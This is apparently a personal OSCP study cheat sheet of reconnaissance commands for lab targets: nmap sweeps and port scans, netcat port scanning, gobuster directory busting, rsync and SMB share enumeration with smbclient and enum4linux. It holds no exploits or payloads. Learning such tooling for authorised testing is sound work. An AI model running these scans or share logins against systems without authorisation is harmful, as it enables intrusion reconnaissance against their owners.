There are many cheat sheets out there, but this is mine. It's a work in progress right now, and lives as a rought draft that's updated a lot. I'm building it as I go through the PWK to earn my OSCP, so certain tools like Nessus, sqlmap, Metasploit, etc. are left out for the moment.
Very incomplete...
find / -name flag.txt to find files by name.
grep -R "flag40" / -s -n loot for string in files, recursively searching them from the root directory, no error output.
dir /s flag.txt to find files in current directory and subdirectories named flag.txt.
A useful tool -> wadcoms.github.io
nmap -sn 10.11.1.0/24 network sweep to find hosts.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txtsweep network for IP's that are up, and save the IP addresses in a list.
nmap -A 10.10.10.10 for a quick scan of common TCP ports with OS and service detection.
nmap -A 10.10.10.10 -p- to scan all TCP ports with OS and service detection.
nmap -A -sU 10.10.10.10 to scan all UDP ports with OS and service detection.
sudo nmap -O -A -sV 10.10.10.10 to scan all common TCP ports, finger print the OS, run scrips and grab banners.
proxychains nmap -Pn -sT 10.10.10.10 -v because ICMP/UDP scans don't work.
The -w flag to specify timeout in seconds and -z flag to send zero data (for scanning)
nc -nvv -w 1 -z 10.11.1.220 3388-3390 TCP scan from ports 3388-3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 UDP scan from ports 160-162.
- Directory busting example
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.
I like dirsearch also.

An rsync module is essentially a directory share. These modules can optionally be protected by a password. This options lists the available modules and, optionally, determines if the module requires a password to access**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 To list availble shares
smbclient //10.11.1.146/IPC$ to login to that share. If that doesn't work, try to sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o to use enum4linux to automate smb share.
